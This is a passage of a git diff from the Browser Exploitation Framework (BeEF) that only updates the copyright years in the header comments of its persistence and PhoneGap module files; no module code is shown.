wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/hijack_opener/command.js b/modules/persistence/hijack_opener/command.js index a9f9c6f49..2640a04b0 100644 --- a/modules/persistence/hijack_opener/command.js +++ b/modules/persistence/hijack_opener/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/hijack_opener/config.yaml b/modules/persistence/hijack_opener/config.yaml index d25b712c1..ca2b95e19 100644 --- a/modules/persistence/hijack_opener/config.yaml +++ b/modules/persistence/hijack_opener/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/hijack_opener/module.rb b/modules/persistence/hijack_opener/module.rb index 48535c008..d2fd56d5a 100644 --- a/modules/persistence/hijack_opener/module.rb +++ b/modules/persistence/hijack_opener/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/iframe_above/command.js b/modules/persistence/iframe_above/command.js index a38aeecfa..bcecaa9f2 100644 --- a/modules/persistence/iframe_above/command.js +++ b/modules/persistence/iframe_above/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/iframe_above/config.yaml b/modules/persistence/iframe_above/config.yaml index 4fe61ec69..ab2eab4d2 100644 --- a/modules/persistence/iframe_above/config.yaml +++ b/modules/persistence/iframe_above/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/iframe_above/module.rb b/modules/persistence/iframe_above/module.rb index 244291f5c..ebd9f820f 100644 --- a/modules/persistence/iframe_above/module.rb +++ b/modules/persistence/iframe_above/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/invisible_htmlfile_activex/command.js b/modules/persistence/invisible_htmlfile_activex/command.js index 7beb1fac6..cd85eaff8 100644 --- a/modules/persistence/invisible_htmlfile_activex/command.js +++ b/modules/persistence/invisible_htmlfile_activex/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/invisible_htmlfile_activex/config.yaml b/modules/persistence/invisible_htmlfile_activex/config.yaml index 5d6e12dd2..74ef06b94 100644 --- a/modules/persistence/invisible_htmlfile_activex/config.yaml +++ b/modules/persistence/invisible_htmlfile_activex/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/invisible_htmlfile_activex/module.rb b/modules/persistence/invisible_htmlfile_activex/module.rb index c5a420fa2..3f333646c 100644 --- a/modules/persistence/invisible_htmlfile_activex/module.rb +++ b/modules/persistence/invisible_htmlfile_activex/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/jsonp_service_worker/command.js b/modules/persistence/jsonp_service_worker/command.js index 922b96570..0249f63d0 100644 --- a/modules/persistence/jsonp_service_worker/command.js +++ b/modules/persistence/jsonp_service_worker/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/jsonp_service_worker/config.yaml b/modules/persistence/jsonp_service_worker/config.yaml index 3692f5362..4acb95569 100644 --- a/modules/persistence/jsonp_service_worker/config.yaml +++ b/modules/persistence/jsonp_service_worker/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/man_in_the_browser/command.js b/modules/persistence/man_in_the_browser/command.js index 031236e74..2c3e3cf18 100644 --- a/modules/persistence/man_in_the_browser/command.js +++ b/modules/persistence/man_in_the_browser/command.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/persistence/man_in_the_browser/config.yaml b/modules/persistence/man_in_the_browser/config.yaml index c7ac2e363..1604b7f26 100644 --- a/modules/persistence/man_in_the_browser/config.yaml +++ b/modules/persistence/man_in_the_browser/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/man_in_the_browser/module.rb b/modules/persistence/man_in_the_browser/module.rb index 977434789..f9e4e7a3c 100644 --- a/modules/persistence/man_in_the_browser/module.rb +++ b/modules/persistence/man_in_the_browser/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js index 8f8bf331a..52bb56bcb 100644 --- a/modules/persistence/popunder_window/command.js +++ b/modules/persistence/popunder_window/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/popunder_window/config.yaml b/modules/persistence/popunder_window/config.yaml index 6c14b7634..7a7348e53 100644 --- a/modules/persistence/popunder_window/config.yaml +++ b/modules/persistence/popunder_window/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/popunder_window/module.rb b/modules/persistence/popunder_window/module.rb index 9a6b0172e..f8adb5b47 100644 --- a/modules/persistence/popunder_window/module.rb +++ b/modules/persistence/popunder_window/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/popunder_window_ie/command.js b/modules/persistence/popunder_window_ie/command.js index d67664e72..180c916e6 100644 --- a/modules/persistence/popunder_window_ie/command.js +++ b/modules/persistence/popunder_window_ie/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/popunder_window_ie/config.yaml b/modules/persistence/popunder_window_ie/config.yaml index 23abd226c..3ce01b71f 100644 --- a/modules/persistence/popunder_window_ie/config.yaml +++ b/modules/persistence/popunder_window_ie/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/popunder_window_ie/module.rb b/modules/persistence/popunder_window_ie/module.rb index 71cdaf6ba..69697a7ce 100644 --- a/modules/persistence/popunder_window_ie/module.rb +++ b/modules/persistence/popunder_window_ie/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_alert_user/command.js b/modules/phonegap/phonegap_alert_user/command.js index 312deb435..76cadfc4e 100644 --- a/modules/phonegap/phonegap_alert_user/command.js +++ b/modules/phonegap/phonegap_alert_user/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_alert_user/config.yaml b/modules/phonegap/phonegap_alert_user/config.yaml index b64a0a4a1..f3ad6a450 100644 --- a/modules/phonegap/phonegap_alert_user/config.yaml +++ b/modules/phonegap/phonegap_alert_user/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_alert_user/module.rb b/modules/phonegap/phonegap_alert_user/module.rb index a148ba947..cf6d6613e 100644 --- a/modules/phonegap/phonegap_alert_user/module.rb +++ b/modules/phonegap/phonegap_alert_user/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_beep/command.js b/modules/phonegap/phonegap_beep/command.js index 674181b37..9d40695e4 100644 --- a/modules/phonegap/phonegap_beep/command.js +++ b/modules/phonegap/phonegap_beep/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_beep/config.yaml b/modules/phonegap/phonegap_beep/config.yaml index ef5f7449f..031e5abd1 100644 --- a/modules/phonegap/phonegap_beep/config.yaml +++ b/modules/phonegap/phonegap_beep/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_beep/module.rb b/modules/phonegap/phonegap_beep/module.rb index 60dd9d945..8c1b63ae5 100644 --- a/modules/phonegap/phonegap_beep/module.rb +++ b/modules/phonegap/phonegap_beep/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_check_connection/command.js b/modules/phonegap/phonegap_check_connection/command.js index 389228e1b..178885f33 100644 --- a/modules/phonegap/phonegap_check_connection/command.js +++ b/modules/phonegap/phonegap_check_connection/command.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/phonegap/phonegap_check_connection/config.yaml b/modules/phonegap/phonegap_check_connection/config.yaml index 71a856012..b9a2791f9 100644 --- a/modules/phonegap/phonegap_check_connection/config.yaml +++ b/modules/phonegap/phonegap_check_connection/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_check_connection/module.rb b/modules/phonegap/phonegap_check_connection/module.rb index 22daad73d..6605f15d3 100644 --- a/modules/phonegap/phonegap_check_connection/module.rb +++ b/modules/phonegap/phonegap_check_connection/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index bb4be1831..1bff843b0 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_detect/config.yaml b/modules/phonegap/phonegap_detect/config.yaml index 2512c57db..b6b1d8a9c 100644 --- a/modules/phonegap/phonegap_detect/config.yaml +++ b/modules/phonegap/phonegap_detect/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_detect/module.rb b/modules/phonegap/phonegap_detect/module.rb index 3e79ce6e9..ae4649b84 100644 --- a/modules/phonegap/phonegap_detect/module.rb +++ b/modules/phonegap/phonegap_detect/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_file_upload/command.js b/modules/phonegap/phonegap_file_upload/command.js index 8053f5989..c75eafc80 100644 --- a/modules/phonegap/phonegap_file_upload/command.js +++ b/modules/phonegap/phonegap_file_upload/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_file_upload/config.yaml b/modules/phonegap/phonegap_file_upload/config.yaml index 8a56ac4fb..63a01308e 100644 --- a/modules/phonegap/phonegap_file_upload/config.yaml +++ b/modules/phonegap/phonegap_file_upload/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_file_upload/module.rb b/modules/phonegap/phonegap_file_upload/module.rb index 6707414bf..2f0bd340e 100644 --- a/modules/phonegap/phonegap_file_upload/module.rb +++ b/modules/phonegap/phonegap_file_upload/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_geo_locate/command.js b/modules/phonegap/phonegap_geo_locate/command.js index da6d20ff1..b9242a373 100644 --- a/modules/phonegap/phonegap_geo_locate/command.js +++ b/modules/phonegap/phonegap_geo_locate/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_geo_locate/config.yaml b/modules/phonegap/phonegap_geo_locate/config.yaml index 015a4a100..c6094c131 100644 --- a/modules/phonegap/phonegap_geo_locate/config.yaml +++ b/modules/phonegap/phonegap_geo_locate/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_geo_locate/module.rb b/modules/phonegap/phonegap_geo_locate/module.rb index 2e4edc5d2..3c77789c3 100644 --- a/modules/phonegap/phonegap_geo_locate/module.rb +++ b/modules/phonegap/phonegap_geo_locate/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_globalization_status/command.js b/modules/phonegap/phonegap_globalization_status/command.js index fbbe192c0..01343b892 100644 --- a/modules/phonegap/phonegap_globalization_status/command.js +++ b/modules/phonegap/phonegap_globalization_status/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_globalization_status/config.yaml b/modules/phonegap/phonegap_globalization_status/config.yaml index eac4bf69a..555e9b5bd 100644 --- a/modules/phonegap/phonegap_globalization_status/config.yaml +++ b/modules/phonegap/phonegap_globalization_status/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_globalization_status/module.rb b/modules/phonegap/phonegap_globalization_status/module.rb index 9ecbf3cce..578512f24 100644 --- a/modules/phonegap/phonegap_globalization_status/module.rb +++ b/modules/phonegap/phonegap_globalization_status/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_keychain/command.js b/modules/phonegap/phonegap_keychain/command.js index 90644fc9c..1a6499fde 100644 --- a/modules/phonegap/phonegap_keychain/command.js +++ b/modules/phonegap/phonegap_keychain/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_keychain/config.yaml b/modules/phonegap/phonegap_keychain/config.yaml index cb6803f54..552819130 100644 --- a/modules/phonegap/phonegap_keychain/config.yaml +++ b/modules/phonegap/phonegap_keychain/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_keychain/module.rb b/modules/phonegap/phonegap_keychain/module.rb index 9d4144f7d..a081b30e2 100644 --- a/modules/phonegap/phonegap_keychain/module.rb +++ b/modules/phonegap/phonegap_keychain/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_list_contacts/command.js b/modules/phonegap/phonegap_list_contacts/command.js index 1998ea097..2c847dd93 100644 --- a/modules/phonegap/phonegap_list_contacts/command.js +++ b/modules/phonegap/phonegap_list_contacts/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_list_contacts/config.yaml b/modules/phonegap/phonegap_list_contacts/config.yaml index 41ee88f19..02e3295f1 100644 --- a/modules/phonegap/phonegap_list_contacts/config.yaml +++ b/modules/phonegap/phonegap_list_contacts/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_list_contacts/module.rb b/modules/phonegap/phonegap_list_contacts/module.rb index 55cab16a2..c1ac64371 100644 --- a/modules/phonegap/phonegap_list_contacts/module.rb +++ b/modules/phonegap/phonegap_list_contacts/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_list_files/command.js b/modules/phonegap/phonegap_list_files/command.js index db4e88875..fb5d55351 100644 --- a/modules/phonegap/phonegap_list_files/command.js +++ b/modules/phonegap/phonegap_list_files/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_list_files/config.yaml b/modules/phonegap/phonegap_list_files/config.yaml index 3eb27b19d..88e5f0b85 100644 --- a/modules/phonegap/phonegap_list_files/config.yaml +++ b/modules/phonegap/phonegap_list_files/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_list_files/module.rb b/modules/phonegap/phonegap_list_files/module.rb index 140ca4436..657457c6f 100644 --- a/modules/phonegap/phonegap_list_files/module.rb +++ b/modules/phonegap/phonegap_list_files/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_persist_resume/command.js b/modules/phonegap/phonegap_persist_resume/command.js index 305c32de9..b734b95c4 100644 --- a/modules/phonegap/phonegap_persist_resume/command.js +++ b/modules/phonegap/phonegap_persist_resume/command.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/phonegap/phonegap_persist_resume/config.yaml b/modules/phonegap/phonegap_persist_resume/config.yaml index 6315b9a28..000fbf892 100644 --- a/modules/phonegap/phonegap_persist_resume/config.yaml +++ b/modules/phonegap/phonegap_persist_resume/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_persist_resume/module.rb b/modules/phonegap/phonegap_persist_resume/module.rb index 55fe0c507..44860fc6c 100644 --- a/modules/phonegap/phonegap_persist_resume/module.rb +++ b/modules/phonegap/phonegap_persist_resume/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_persistence/command.js b/modules/phonegap/phonegap_persistence/command.js index 34e3cbb6f..1435988ab 100644 --- a/modules/phonegap/phonegap_persistence/command.js +++ b/modules/phonegap/phonegap_persistence/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_persistence/config.yaml b/modules/phonegap/phonegap_persistence/config.yaml index 4069daeb3..cf1b28f99 100644 --- a/modules/phonegap/phonegap_persistence/config.yaml +++ b/modules/phonegap/phonegap_persistence/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_persistence/module.rb b/modules/phonegap/phonegap_persistence/module.rb index 760c66b3f..75a6c7d95 100644 --- a/modules/phonegap/phonegap_persistence/module.rb +++ b/modules/phonegap/phonegap_persistence/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_plugin_detection/command.js b/modules/phonegap/phonegap_plugin_detection/command.js index eb54905c2..65b51c5d9 100644 --- a/modules/phonegap/phonegap_plugin_detection/command.js +++ b/modules/phonegap/phonegap_plugin_detection/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_plugin_detection/config.yaml b/modules/phonegap/phonegap_plugin_detection/config.yaml index e199cf034..860212f72 100644 --- a/modules/phonegap/phonegap_plugin_detection/config.yaml +++ b/modules/phonegap/phonegap_plugin_detection/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_plugin_detection/module.rb b/modules/phonegap/phonegap_plugin_detection/module.rb index 611473c4e..0e77ae9c1 100644 --- a/modules/phonegap/phonegap_plugin_detection/module.rb +++ b/modules/phonegap/phonegap_plugin_detection/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git 